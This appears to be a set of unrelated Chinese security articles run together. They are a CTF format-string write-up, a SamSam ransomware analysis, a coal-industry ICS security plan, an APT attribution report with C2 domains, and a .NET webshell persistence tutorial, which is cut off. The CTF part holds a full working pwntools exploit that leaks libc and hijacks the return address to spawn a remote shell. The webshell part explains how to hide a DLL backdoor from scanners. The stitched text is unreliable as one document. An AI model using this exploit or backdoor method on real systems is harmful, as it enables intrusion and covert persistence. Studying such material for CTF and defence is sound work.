前言

这两天做了一个CTF的题目,该题目的二进制链接。该题目的逻辑非常简单,就是接受输入,并将其打印,在打印的时候利用了printf函数,很明显是个format string漏洞。但由于格式化的字符串并没有在栈中,所以利用起来有一点困难,在此记录一下自己利用的方法。

格式化字符串漏洞

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数,参考内容点我。

一般发生格式化字符串漏洞的原因是因为并没有指定第一个参数格式化字符串(或者格式化字符串可以更改),所以给了攻击者一个可以控制格式化字符串的机会,进而可以实现任意的内存读写能力。其中能触发格式化字符串漏洞的函数有如下几个: scanf, printf, vprintf, vfprintf, sprintf, vsprintf, vsnprintf, setproctitle, syslog等,如果想比较系统的了解格式化字符串漏洞,可以访问链接

程序分析

首先拿到程序,先分析一下该程序的保护措施:

security

发现其除了canary保护之外,其它防护都开了(主要是输入的buff并不在栈上,所以并没有canary保护,并不代表着可以通过buffer overflow来溢出返回地址-_-)。

然后扔给IDA pro分析其逻辑:

code

该程序的逻辑非常简单,首先是给你三次机会,让你进行格式化字符串攻击,COUNT是全局变量,COUNT=3。接下来是exploit_me函数,该函数的逻辑更加简单,现将BUFF变量清空,然后读入13个字节,再将输入的字符串输出,在输出的时候会发生格式化字符串的攻击。其中BUFF是一个全局变量,大小是16个字节。该程序攻击起来主要有如下几个难点:

1.由于输入的长度有限(只有13个字节),并且只允许进行三次尝试。

2.格式化字符串不在栈上,进行任意内存的读写存在一定的难度。

漏洞利用

接下来主要针对以上提出来的两个难点进行攻击。

修改计数变量

由于只允许三次输入,并且输入的长度有限,很难进行有效的攻击,所以接下来思路就是首先利用这三次输入将控制输入的计数变量修改掉,使其能够进行多次输入。

有上面程序分析可以看到,计数变量有两个:MACRO_COUNT局部变量和COUNT全局变量,只要将其中一个值修改掉,就可以进行多次输入,方便进行接下来的攻击。所以现在思路主要如下:

1.泄露地址:包括栈的地址和程序的地址。

2.修改栈的内容:保证栈中有MACRO_COUNT或者COUNT的地址。

3.修改MACRO_COUNT或者COUNT的值。

以上的每一个目的都可以利用一次format string攻击实现。

泄露地址

stack

上面该图是在printf调用前的栈的内容,可以看出第一个参数是格式化字符串的地址,而接下来的一个内存单元0xffffcf6c存储的也是格式化字符串的地址,所以可以通过泄露该内存单元的内容来泄露BUFF变量的地址,从而可以算出程序的基址。接下来,ebp的内存单元存储的是saved ebp,上一个函数的ebp值,该值是栈的地址,所以可以通过泄露该地址来泄露栈的地址。所以可以输入:

%p%6$p

来泄露栈的地址和程序的地址。

修改栈的内容

由于格式化字符串不在栈上,所以想通过格式化字符串来修改某个内存单元的值,首先得先把该内存的地址写入栈中。通过上面分析我们知道了栈上的地址和程序的地址,通过偏移也能计算出MACRO_COUNT和COUNT的地址。接下来则需要将MACRO_COUNT或者COUNT的地址写入栈中。在此,我选择将MACRO_COUNT的地址写入到栈中,理由如下:

macro count

从上图可以看到0xffffcf84地址处存储的是内存单元0xffffd044的地址,而0xffffd044存储的值是0xffffd224,也是栈上的一个地址,而MACRO_COUNT也是栈上的变量,其地址与0xffffd224的高16位应该是相等的,所以此时只需要修改0xffffd044地址存储的低16位即可。这样能保证攻击顺利进行(如果修改整个32位的话,则输出的数太多,需要花费很长时间,还有一个原因是导致输入的字符串过长,没办法实现攻击)。

所以具体的攻击手段就是将0xffffd044内存单元存储的值的低16位改为MACRO_COUNT的高位byte地址即可。

假设MACRO_COUNT的地址为addr。则可以输入:

"%" + str(addr & 0xffff) + "d" + "%9$hn"

即可。

修改MACRO_COUNT的值

通过前面的步骤,实现了将0xffffd224的地址处存储了MACRO_COUNT的地址,而0xffffd044相对于0xffffcf60(printf的第一个参数)的offset为0xE4,则可以进行如下输入使的MACRO_COUNT的高位为0xFF。

"%255d%57$hhn"

其中57为0xE4/4,因为地址是4字节的。

读写任意内存

通过以上的努力,我们可以进行多次的输入。由于输入的格式化字符串是全局变量,并不在栈上,我们就不能通过一次简单的输入就能读写任意内存,此时需要通过格式化字符串来间接的修改内存地址到栈上。具体思路如下:

如果我想要将地址addr写入到栈上的某个内存单元上去,设栈上的该内存单元地址为stack_addr。则我需要一次中介来完成此类攻击。

我们再来看一下调用printf时栈中的布局:

write_everywhere

可以看到0xffffcf84和0xffffcf88两个内存单元存储的内容是栈上的地址,而其又指向了一个栈上的地址。所以可以通过格式化字符串将0xffffd044地址处的内容改为stack_addr+2,将0xffffd04c地址处的内容改为stack_addr,然后再通过$hn分别向stack_addr+2处写入addr的高16位((addr&0xffff0000)>>16),stack_addr处写入addr的低16位(addr&0xffff)。

具体的攻击过程如下:

def modify(address, modifiedAddress):
    print("modified address is %x" % modifiedAddress)
    #puts_got_run = puts_got + binary_base
    modifiedAddress_high = (modifiedAddress & 0xffff0000) >> 16
    #log.info("strcmp got run high %x " % strncmp_got_run_high)
    modifiedAddress_low = modifiedAddress & 0xffff

    temp_low = (address + 0x2) & 0xffff
    print("temp low is %x" % temp_low)
    payload3 = "%"+str(temp_low) + "d" + "%9$hn"
    p.sendline(payload3)
    p.recvrepeat(0.5)

    temp_high = (address) & 0xffff
    print("temp high is %x" % temp_high)
    payload4 = "%" + str(temp_high) + "d" + "%10$hn"
    p.sendline(payload4)
    p.recvrepeat(0.5)

    payload5 = "%" + str(modifiedAddress_high)+"d" + "%57$hn"
    print("got run high is %x " % (modifiedAddress_high))
    p.sendline(payload5)
    # p.recv()
    # sleep(1)
    p.recvrepeat(0.5)

    payload6 = "%" + str(modifiedAddress_low)+"d"+"%59$hn"
    print("got run low is %x " % (modifiedAddress_low))
    p.sendline(payload6)
    p.recvrepeat(0.5)

其中address就是此处的stack_addr,modifiedAddress就是此处的addr。

有了可以向栈中写入任意地址的能力,我们就可以进行libc地址的泄露和修改返回地址及其参数了。

泄露libc地址

通过以上的方法,我们可以将printf函数的got地址写入到栈上,然后通过%s读取got的内容,从而泄露libc的地址。由于改题目并没有提供具体的libc版本,所以可以通过泄露的printf的地址,到libc database search网站进行查询。通过绣楼libc地址,我们可以得到system的地址和”/bin/sh”字符串的地址。

修改返回地址和参数

由于泄露了libc的地址,所以将main函数的返回地址修改为system的地址,并将其参数设为”/bin/sh”字符串的地址,输入EXIT,即可完成攻击。

整个的攻击脚本如下:

from pwn import *

def modify(address, modifiedAddress):
    print("modified address is %x" % modifiedAddress)
    #puts_got_run = puts_got + binary_base
    modifiedAddress_high = (modifiedAddress & 0xffff0000) >> 16
    #log.info("strcmp got run high %x " % strncmp_got_run_high)
    modifiedAddress_low = modifiedAddress & 0xffff

    temp_low = (address + 0x2) & 0xffff
    print("temp low is %x" % temp_low)
    payload3 = "%"+str(temp_low) + "d" + "%9$hn"
    p.sendline(payload3)
    p.recvrepeat(0.5)

    temp_high = (address) & 0xffff
    print("temp high is %x" % temp_high)
    payload4 = "%" + str(temp_high) + "d" + "%10$hn"
    p.sendline(payload4)
    p.recvrepeat(0.5)

    payload5 = "%" + str(modifiedAddress_high)+"d" + "%57$hn"
    print("got run high is %x " % (modifiedAddress_high))
    p.sendline(payload5)
    # p.recv()
    # sleep(1)
    p.recvrepeat(0.5)

    payload6 = "%" + str(modifiedAddress_low)+"d"+"%59$hn"
    print("got run low is %x " % (modifiedAddress_low))
    p.sendline(payload6)
    p.recvrepeat(0.5)

#p = process('./babyformat')
pp = ELF('./babyformat')
p = remote('104.196.99.62', port = 2222)
p.recvuntil('==== Baby Format - Echo system ====')

puts_got = pp.got['puts']
# puts_offset = 0x5fca0
# bin_sh_offset = 0x15ba0b
# system_offset = 0x3ada0
system_offset = 0x3cd10
puts_offset = 0x67360
bin_sh_offset = 0x17b8cf

## leak address
p.sendline('%p%6$p')
#sleep(3)
p.recvline()
leaked = p.recvline()
addr_buff = int(leaked[2:10], 16)
binary_base = addr_buff - 0x202c 
log.info("BUFF address is %x" % addr_buff)
addr_stack_ebp = int(leaked[12:20], 16) - 0x20
log.info("ebp address is %x" % addr_stack_ebp)

#ebp_low_four = addr_stack_ebp & 0xffff

# variable MACRO_COUNT address's low four bytes
count_low_four = (addr_stack_ebp + 0x17) & 0xffff

payload1 = "%" + str(count_low_four) + "d" + "%9$hn"
p.sendline(payload1)
p.recvrepeat(1)

payload2 = "%255d%57$hhn"
p.sendline(payload2)
p.recvrepeat(1)

####### No problem up ##############################

puts_got_run = puts_got + binary_base
modify(addr_stack_ebp + 0x20, puts_got_run)

p.recvrepeat(1)
#leak the strncmp address
payload7 = "%14$s"
p.sendline(payload7)
# print(p.recv())
#sleep(1)
puts_address = u32(p.recvline()[0:4])
log.info("puts address is %x " % puts_address)
libc_base = puts_address - puts_offset
log.info("libc base address is %x" % libc_base)

#############leak libc address done ############

ret_address = addr_stack_ebp + 0x34
arg_address = addr_stack_ebp + 0x3c

system_address = system_offset + libc_base
bin_sh_address = bin_sh_offset + libc_base

modify(ret_address, system_address)
modify(arg_address, bin_sh_address)
#raw_input()
p.recvrepeat(1)
#p.sendline('EXIT')

p.interactive()

References

1.ctf-wiki:格式化字符串漏洞原理介绍:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_intro/

2.lib database search:https://libc.blukat.me/

*本文作者:bin2415,转载请注明来自FreeBuf.COM

一、事件背景

近期深信服EDR安全团队接到客户应急需求,称服务器被勒索病毒加密,经过深入分析,提取到相关的样本信息,发现此样本为SamSam勒索病毒最新的变种样本,加密的流程与之前发现的SamSam的变种基本一致。

SamSam勒索病毒最早于2016年4月左右被首次发现,主要通过服务器网站漏洞、垃圾邮件,RDP爆破等方式感染服务器,此勒索病毒主要用于攻击企业服务器,主要活跃在北美地区,之前曾对北美多个国家医院服务器进行攻击,破坏医院的正常业务,最近此勒索病毒变种在北美等地区非常活跃,已有多家企业中招,此次发现的最新变种加密后的文件后缀为:weapologize,它会通过PSEXEC.EXE工具感染其它主机,勒索病毒采用RSA2048加密算法加密相应的文件,加密后的文件无法还原。

二、样本分析

1.此勒索病毒涉及到的相关文件,如下:

图片.png

2.此勒索病毒执行流程(与之前发现的变种加密流程基于一致),如下:

图片.png

3.启动此勒索病毒的BAT脚本g04inst.bat,如下:

图片.png

通过传递一个解密key参数,启动此BAT脚本,执行加密操作,最后删除相关文件。

4.此勒索病毒加密使用的RSA公钥KEY文件NTAARFOIP02_publicKey.keyxml,如下:

图片.png

5.此勒索病毒母体winupdateini.exe会读取BAT脚本传递进来的四个参数,然后执行相应的操作,如果参数不对,则退出程序,如下:

图片.png

6.查找相应的加密payload文件*.sophos,如果发现则读取payload文件内容,然后删除相应的payload文件,如下:

图片.png

7.对读取的加密payload文件进行解密,通过BAT传入到解密参数,如下:

图片.png

会调用dellerrrtonimon.dll的解密函数,如下:

图片.png

8.解密函数的过程,如下:

图片.png

通过AES解密算法进行解密,解密的Key和IV是通过参数进行传递,然后从如下数组中选取的,如下:

图片.png

相应的数组列表如下:

图片.png

9.加载解密出来的加密payload,执行加密操作,如下:

图片.png

加密payload的实例对象,如下:

图片.png

调用加密的payload,执行相应的加密操作,如下:

图片.png

通过Invoke执行加密操作,如下:

图片.png

10.母体样本和解密函数DLL里面都包含大量的垃圾代码,如下:

图片.png

攻击者通过传入解密参数key,启动执行BAT脚本,并传入相应的四个参数,调用母体EXE解密出相应的加密payload,然后对主机中的相应文件进行加密,并在桌面生成多个包含勒索信息的HTML超文件文件。

三、解决方案

深信服EDR产品能有效检测及防御此类勒索病毒家族样本及其变种,同时深信服EDR安全团队提醒广大用户:

1.不要点击来源不明的邮件附件,不从不明网站下载软件;

2.及时给主机打补丁,修复相应的高危漏洞;

3.对重要的数据文件定期进行非本地备份;

4.尽量关闭不必要的文件共享权限以及关闭不必要的端口,如:445,135,139,3389等;

5.RDP远程服务器等连接尽量使用强密码,不要使用弱密码;

6.此勒索病毒会通过PSEXEC.EXE工具感染其它主机,建议卸载禁用此工具;

7.安装专业的终端安全防护软件,为主机提供端点防护和病毒检测清理功能;

四、相关IOC

758274028C49227A779E3A7812F526D5  g04inst.bat

69FCB82C35C67CAB0F9C877B489C8D69  dellerrrtonimon.dll

20487336761EDD9537318C7A139E32AD  winupdateini.exe

F547DE1E1346042E138CF2D465EBB07C  NTAARFOIP02_publicKey.keyxml

*本文作者千里目安全实验室,转载注明来自FreeBuf.COM

*本文原创作者:liujianshuai,本文属FreeBuf原创奖励计划,未经许可禁止转载

摘要:

煤炭工业控制系统是整个煤炭企业安全生产监控系统信息的集成,它需要一个快速、安全、可靠的网络平台为大量的信息流动提供支撑,同时要有一个功能全面的安全生产信息应用系统为矿井安全生产提供科学调度、决策的依据。做好煤炭企业工控安全建设是实现生产安全的必要保障。

关键字:煤炭  工控安全  工控系统

一 概述

煤炭行业是指以开采煤炭资源为主的一个产业,它是国家能源的主要来源之一,也是国家经济的重要支柱之一。

一般能源行业包括煤炭、石油石化、电力等,而国家《网络安全法》第三十一条要求:国家对公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等重要行业和领域,以及其他一旦遭到破坏、丧失功能或者数据泄露,可能严重危害国家安全、国计民生、公共利益的关键信息基础设施,在网络安全等级保护制度的基础上,实行重点保护。所以煤炭的开采和加工属于能源行业是国家关键基础设施,应依照国家标准加强网络安全防护。

中国煤炭资源丰富,主要分布于黑龙江、内蒙古、山西、山东、江苏、河北、陕西、宁夏、河南、贵州、新疆等省份。开采方式采用煤炭掘进机、皮带以及其他技术将煤炭从地下运出,然后将原煤输送到选煤厂,利用煤炭和矸石物理、化学性质差异,将煤和杂质分离出来,加工成商品煤,最终输送到电厂、化工厂、钢厂等进行有效的应用。

二 煤炭生产系统架构

2.1. 业务架构

煤炭生产业务架构图

煤炭生产系统主要分为五层,分别为设备层、控制层、生产执行层、经营管理层和决策支持层。具体包括:

l 设备层包括传感器、仪器仪表、阀门、射频识别、摄像头、皮带、机械和装置等,是煤矿进行生产活动的物质技术基础;

l 控制层包括输煤皮带系统、选煤厂集控系统、安全监控系统、电力监控系统、通风系统、供水系统等控制系统,这些控制系统通过各自的PLC对底层设备进行控制;

l 生产执行层包括生产管理、调度管理、安全管理、机电管理等系统,用来对整个生产系统进行集中控制和统一管理;

l 经营管理层包括ERP系统、项目管理系统和办公系统等,通过分析生产数据来达到经营管理的目的;

l 决策支持层主要通过经营管理层提供的数据来对整体发展方向做决策。

2.2. 网络架构

煤炭生产网络架构图

l 煤炭生产网络主要由工业以太网构成,分地面工业以太环网和井下工业以太环网、调度中心网络。

l 以上三个网络由两台核心交换机将井下和地面系统连接起来,同地面的调度中心进行数据通讯。

l 调度中心负责各个系统的数据采集和分析、监视,以及部分辅助子系统的控制工作。

l 煤炭生产控制主要控制工作在现场各个子系统的控制室完成。

l 煤炭生产控制系统主要控制器品牌:AB和西门子,浙江中控和和利时等。

l 系统主要通讯协议:OPC、MODBUS、profinet等。

3. 风险分析

目前煤矿生产系统逐步实现数字化矿山的改造和建设,但是网络安全建设依旧没有跟上信息化建设的步伐。现场工业网络目前可以实现正常的通讯,满足基本生产运行,但工控安全防护设备较少,一旦出现问题,可能会影响生产运行,后果不堪设想。笔者总结煤炭企业存在风险如下:

l 缺乏整体信息安全规划;

l 缺乏工控安全管理制度、应急预案、培训与意识培养;

l 调度人员有时通过连通互联网的手机在调度室主机U口上充电,导致生产网络通过手机被打通,造成边界模糊。

l 主机操作系统老旧,从不升级,极易出现安全漏洞和缺陷;新建系统主机虽然会安装杀毒软件,但是为保障生产运行,杀毒软件一般处于关闭状态,这些都存在安全隐患,无法防御“0-DAY”病毒和勒索病毒。

l 调度人员或运维人员使用带有病毒的U盘插入主机中,造成整个网络感染病毒。

l 煤炭生产现场PLC多为西门子或AB的产品,而PLC本身存在漏洞,西门子和AB近些年被曝出存在高危漏洞, 攻击者可以利用漏洞控制现场设备,执行错误命令,严重影响安全生产。

l 黑客也可通过技术手段潜入生产网络,获取关键生产数据,牟取利益。

四 方案设计

4.1. 设计规划

煤炭企业工控网络总体信息安全建设,主要从两大体系进行规划:信息安全技术防护体系,信息安全管理体系,结合《工业控制系统信息安全防护指南》和《GB/T 22239-2008 信息系统安全等级保护基本要求》进行统一规划建设。

4.2. 参考标准及法规

l 《工业控制系统信息安全防护指南》(工信软函〔2016〕338号)

l 《GB/T 22239-2008 信息系统安全等级保护基本要求》

l 《网络安全法》

4.3. 技术设计方案

煤炭生产系统整体防护部署示意图

l 部署工业防火墙:控制层与生产执行层间无安全防护,煤矿现场控制层可能受到非法的网络访问和恶意代码的入侵,影响控制器的正常工作。在煤矿控制层与生产执行层间部署能够识别工控协议的工业防火墙产品,将煤矿控制层与生产执行层进行逻辑隔离,并设置严格的访问控制策略,通基于IP、端口、协议等的访问控制设置,杜绝控制系统的非法访问,隔离网络攻击和病毒(包含工业病毒)的跨区域的串扰,保护工业环网的安全运行。

l 部署工控IDS:外部网络流量需要由执行层进入控制层,进入控制层后没有流量检测装置,无法判断外部流量生产控制层的是否存在异常网络攻击、恶意代码等。在控制层和生产执行层边界交换机旁路部署工控IDS,对进行控制系统的流量进行收集、分析和检测,实时监测外部流入的流量是否存在可能导致控制系统异常的攻击行为和恶意代码,若发现网络安全威胁可第一时间产品告警,提示运维管理人员采取处置措施。

l 部署主机防护软件:为保证主机设备的正常运行,煤矿控制系统的操作员站和工程师站基本不安装杀毒软件,导致主机设备可能存在未被发现的恶意代码程序且无法抵御病毒、木马等恶意代码的入侵。在煤矿控制系统的工程师站和操作员站安装主机防护软件,使用“白名单”技术固化工程师站和操作员站所能够运行的应用软件,恶意代码软件、违规软件无法在工程师站和操作员站运行,保护工程师站和操作员站不受恶意代码的破坏,能够安全稳定运行。通过对主机接口的管理,防止外设在主机上随意使用。

l 部署工控安管平台:煤矿控制系统在做好信息安全的相关建设或整改后,增加了网络安全性,但是也增加了一定的管理难度。在控制层部署安全管理平台,对所使用的安全产品进行统一管理,主要包括数据监测、日志收集和报警展示,通过使用统一管理平台可以大大降低运维管理的工作难度和工作量、同时可采集煤矿控制系统的主机设备、网络设备、安全、业务软件的日志进行统一留存和管理,运维管理人员可通过统一管理平台监控全网的报警信息,发生安全事件后,可第一时间采取处置措施。

4.4. 管理设计方案

煤炭企业在进行工控安全技术建设的同时,也不能忽视工控安全管理建设,我们在企业安全建设始终强调“三分技术,七分管理”。

安全管理体系方面,通过制定和完善工控网络安全管理制度,形成由安全策略、管理制度、操作规程等构成的全面的信息安全管理制度保障体系,做到有章可循、有法可依、人人有责的工控网络和系统安全建设格局。

安全制度管理结合煤炭企业网络安全管理工作现状,笔者建议制定以下文件:《工控安全管理办法》、《工控安全部门、岗位职责文件》、《工业控制系统介质管理程序》、《工业控制系统外部人员访问管理制度》、《工业控制系统PLC管理制度》、《工控安全事件管理办法》等工控安全管理制度。

同时通过协助企业制定《工控安全应急预案》、《工控安全服务办法》,定期组织工业控制系统信息安全培训,定期进行风险评估等,全面实现企业整体信息安全防护。

五 小结

方案依据PPDR(安全策略、保护、检测和响应)安全保障模型设计,形成“事前防护-事中监测-事后响应”的整体安全防护策略。简化运维管理,不需要频繁升级特征库,简化运维管理工作量,同时能够防护未知恶意代码或黑客的攻击。

该方案符合《信息安全技术 网络安全等级保护基本要求》的规定,安全建设内容满足等保及检查要求。

六 致谢

本文在撰写过程中,得到中煤集团管理专家杨峰老师、神华集团煤炭安全专家秦伟老师、启明星辰工控安全专家孟雅辉老师的悉心指导,谨此鸣谢。 

*本文原创作者:liujianshuai,本文属FreeBuf原创奖励计划,未经许可禁止转载

背景

CiscoTalos研究团队在近期披露了一例针对印度iOS用户的定向攻击活动[1],但原文并没有明确攻击组织相关背景。360威胁情报中心结合内部威胁情报数据和该公开报告中披露的IOC信息,关联到多份公开情报,并发现该事件的攻击组织极有可能就是“摩诃草”组织(又常称为Hangover,Patchwork,DroppingElephant),并且分析了该事件与Bellingcat披露的Bahamut[2]和趋势科技披露的Confucius[3]间的联系。本报告是对相关线索和背景推测的分析说明。

截至我们分析和文档完成时,Cisco Talos研究团队披露了后续分析进展,并同样提及了和Bahamut的关联性[6]。

关联样本分析

360威胁情报中心结合内部的威胁情报数据关联到相关的针对Windows平台和Android平台的恶意代码样本。

Windows平台

Delphi Dropper

我们发现一批Delphi编写的Dropper程序,其中一个样本回连URL地址为http://techwach.com/expendedrange98gh/,该Dropper程序主要收集目标主机信息,并可以下载更多载荷文件并执行。以下为对该类Dropper的分析。

其首先在%userprofile%下创建Docoument目录,然后通过GetSystemInfo或查询注册表信息获取系统版本信息。

image.png

其生成一个随机ID字符串,并写入% userprofile%\Docoument下的eventdriven.dat文件,该字符串用于标识受害主机。

其通过WMI查询获取更多主机信息,包括主机名称,操作系统信息以及安装的安全软件。

image.png

image.png

该Dropper程序在窗体上实现了三个Timer。

image.png

其中一个Timer会向控制服务器发送HTTP请求,其URL为http://digitizet.com/express54354view/

image.png

并且下载下一阶段载荷命令执行。

image.png

另外一个Timer会获取本机信息,包括用户名,主机名,系统版本,安全软件信息,并存储到% userprofile%\Docoument的Detail.log文件。

image.png

其随后上传文件内容到远程URL,docc7686gg154po.php?b=

image.png

加密

Delphi Dropper程序对关键的字符串信息进行加密,其解密算法主要有两种不同形态。

其中一种解密算法使用了硬编码的密钥,如[email protected]#$%hlhsdfg。下图为解密算法的结构视图。

image.png

image.png

Android平台

通过voguextra.com域名可以关联到一个Android样本,其默认界面加载图片URL从voguextra.com域名下加载。

image.png

其会收集包括短信,通讯录等信息,以及外存储路径下的.txt, .db.crypt,.db.crypt8,.db.crypt5,.db.crypt7,.doc,.docx,.xls,.xlsx,.csv,.pdf,.jpeg,.jpg扩展名的文件列表和内容。

解密的上传URL地址如下:

image.png

iOS平台

结合Cisco Talos团队发现的MDM后台地址和开源的mdm-server[5]实现,攻击组织并未修改默认的服务端监听地址,并且扩展了默认的请求连接。

image.png

image.png

访问该MDM后台可以下载描述文件,我们发现其增加了向受害设备推送Telegram等应用的指令。

我们访问的时候,MDM设备注册的请求已经失效,但依然留存了3台iOS设备的日志信息,推测可能为安全研究人员的测试设备。

image.png

攻击来源分析

与”Confucius”的联系

在对线索和攻击来源的深入挖掘过程中,发现其中一个Delphi Dropper程序回连了logstrick.com域名,该域名曾被趋势披露为Confucius使用[3]。

与”摩诃草”的联系

并且同类Delphi Dropper程序还回连了http://ebeijingcn.live/templates地址,该控制域名曾被360威胁情报中心披露的《摩诃草APT组织针对我国敏感机构最新的网络攻击活动分析》分析过[4]。

image.png

与”Bahamut”的联系

通过分析关联到的Android样本,我们发现其与”Bahamut”组织有关,该组织是Bellingcat披露的一个针对中东和南亚地区的APT攻击组织。[3]

image.png

image.png

我们对三个组织的TTP进行简单对比:

Confucius 摩诃草(又称Hangover,Patchwork,Dropping Elephant) Bahamut
攻击目标 南亚 中国,巴基斯坦为主 南亚(主要为巴基斯坦),中东
攻击平台 PC,Android PC,Android Android
恶意代码实现 Delphi Delphi,C#
攻击入口 社交网络 鱼叉攻击,社交网络 鱼叉攻击,社交网络

结合攻击恶意代码的功能结构的高度相似性,恶意载荷使用的控制域名的重叠,以及TTP的重叠,我们认为三个组织极有可能归属同一攻击组织。

总结

360威胁情报中心结合公开情报和内部威胁情报数据,确定了摩诃草组织(又称Hangover,Patchwork,DroppingElephant)与” Confucius”,” Bahamut”间存在的关联性,并推测Cisco Talos披露的针对印度iOS用户的攻击事件极有可能与摩诃草有关。

IOC

voguextra.com (OSINT)

techwach.com (OSINT)

www.scorpviz.com

digitizet.com

disc4l.com

logstrick.com

qutonium.com

classmunch.com

appswonder.info

conioz.com

pcupdate.ddns.net

windefendr.com

object2d.com

eec26ee59a6fc0f4b7a2a82b13fe6b05(Android)

899720af1cf9413a00f1b1a13f699eda

43e79de28318e2e5f4936ada7d09a4dc

参考链接

1.https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html

2.https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

3.https://blog.trendmicro.com/trendlabs-security-intelligence/confucius-update-new-tools-and-techniques-further-connections-with-patchwork/

4.https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/

5.https://github.com/project-imas/mdm-server

6.https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM-Part2.html

原文链接

https://ti.360.net/blog/articles/analysis-of-targeted-attacks-suspected-of-patchover/

*本文作者:360天眼实验室,转载请注明来自FreeBuf.COM

0×01 前言

笔者在“探索.NET实现一句话木马”系列文章中,使用一般处理程序(当然也不限于ashx,asmx照样可用)的时候发现一处功能点可以自定义文件类型映射,再配合强大的csc和js编译器就可以完美的生成DLL并且作为WebShell后门程序,这就给攻击者在后渗透阶段权限维持提供了极大的便利,此后门可以实现任意后缀名访问,可以绕过一些IDS等防御产品。笔者从攻防的视角总结出一点姿势和大家分享一下。关于本文介绍到的权限维持的方法和步骤,笔者画了简易的流程图 ,如下图。

传送门

探索基于.NET下实现一句话木马之ashx篇

探索基于.NET下实现一句话木马之Asmx篇

探索基于.NET下实现一句话木马之SVC篇

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

隐藏手段 说明
利用App_Code目录 攻击者创建类文件并且在代码中写入一句话木马,在别处文件中实例化调用该类
直接上传DLL 攻击者本地制作一个DLL,可以选择性的加壳后上传到Bin目录下
本地生成DLL 攻击者利用WebShell在Bin目录下生成DLL后门
第一种方法考虑在App_Code目录下创建类文件且在代码中写入一句话木马,再回到根目录下寻找可追加代码的文件或者创建新的文件来调用类;第二种方法考虑在本地创建好一个DLL最好加上壳,再上传到Bin目录下后修改web.config文件增加handlers节点追加映射关系;第三种方法利用本地的环境生成DLL后修改映射访问;这样的好处显而易见,一句话或 大小马内容全部保存在DLL中,传统的文本查杀不奏效,并且访问的时候通过GIF后缀名访问回显的是一个图片验证码这样也能逃逸一些基于流量特征检测的IDS产品,下面分几个小节来详细说明实现的原理和步骤。

0×02 DLL型WebShell后门

在介绍DLL后门之前需要介绍.NET应用中两个特殊的目录,一个是App_Code目录、还有一个是Bin目录;它们的作用都是在多个Web 应用程序或多个页之间共享代码,App_Code 文件夹可以包含.vb、.cs等扩展名的源代码文件,,在运行时将会自动对这些代码进行编译,Web应用程序中的其他任何代码都可以访问到,笔者为了更好的演示效果,新建了一个App_Code目录,并且在About.aspx里实现了下面代码:

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

Apptest.ashx中代码如下,作用是输出一句话“Hello World , this is App_Code ProcessRequest”

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

打开VS调试输出的结果如下图

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

若Web应用里存在App_Code 目录,攻击者将一句话木马隐藏在该目录下的某个文件的方法里,恰好该方法可以被外界的其它的文件调用到,这样就可以实现一个较为隐蔽的后门程序,但这种隐蔽依旧会被D盾或者安全狗查杀到,显然这种方法不是最佳的选择,所以可以考虑放到Bin目录下的DLL文件中。

至于.NET应用程序中Bin目录有何作用,先来段介绍:Bin文件夹中存放着已经编译的程序集,并且 在Web 应用程序任意处的其他代码会自动引用该文件夹。典型的示例是您为自定义类编译好的代码。您可以将编译后的程序集复制到Web应用程序的 Bin文件夹中,这样所有页都可以使用这个类。Bin文件夹中的程序集无需注册。只要.dll 文件存在于 Bin 文件夹中,.NET 就可以识别它。如果您更改了 .dll 文件,并将它的新版本写入到了 Bin 文件夹中,则 .NET 会检测到更新,并对随后的新页请求使用新版本的 .dll 文件。接下来笔者假定服务器上已经存在一个WebShell,创建一个ashx的小马,注意代码是C#的即可,至于文件的后缀名可以任意指定,笔者指定为C:\inetpub\wwwroot\AdminWeb.txt如下图

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

保存后到WebShell的CMD窗口下去调用csc.exe编译这个AdminWeb.txt,csc.exe是 .NET提供的可以在命令行下编译cs文件的工具,安装了.Net环境的主机csc.exe的默认位置在 C:\Windows\Microsoft.NET\Framework\[.NET具体版本号]目录下,例如笔者装了VS之后也会自动安装2.0/3.5/4.0版本,在命名行下输入 /? 看到所有的帮助

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

其中 /t:library 表示生成dll,/r参数表示引用DLL,-out参数表示生成dll的位置,这里很显然得放到Bin目录下,完整命令如下:

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

看到下列内容的输出,表示命令执行成功!

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

WebShell执行结果如图

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

再跳转到站点Bin目录下看到成功创建了想要的AdminWeb.dll文件,至此DLL版本的后门程序已经制作完成。

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

到了这步攻击者肯定会想到在一个已经存在的文件中去调用这个DLL里的方法,笔者新建了c.aspx文件,里面写上一段代码去实例化DLL里的AdminWeb类会触发其构造方法,代码如下

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

预览后得到下图结果,在实例化类的过程中自动调用了构造方法,执行了DOS下的Set命令。

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

按照这样的思路在服务器上已经找不到ASPX马儿的任何特征,最多可以发现新建的c.aspx文件可疑,但调用的方法名看上去很平常,即使管理员用D盾或者安全狗也扫不出任何的蛛丝马迹,也实现了一种后门权限维持的方法。但笔者还不满足,接下来还要介绍一种更隐蔽的方法。

0×03 HttpHandler映射

笔者在第一篇介绍ashx中我们提到过 ISAPI,它是根据文件名后缀把不同的请求转交给不同的处理程序。几乎一大半的文件访问都交给 aspnet_isapi.dll 去处理了,很明显aspnet_isapi.dll对不同的请求采取不同的处理方式,查看C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config配置定义,可以知道ashx是可以自定义配置实现映射关系,例如下面的配置:

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

配置项中path属性是必选的,它的作用是指定路径可以包含单个URL或者简单的通配符字符串如 *.ashx ;  其它的属性参考下表

属性 说明
name 处理映射程序的名称
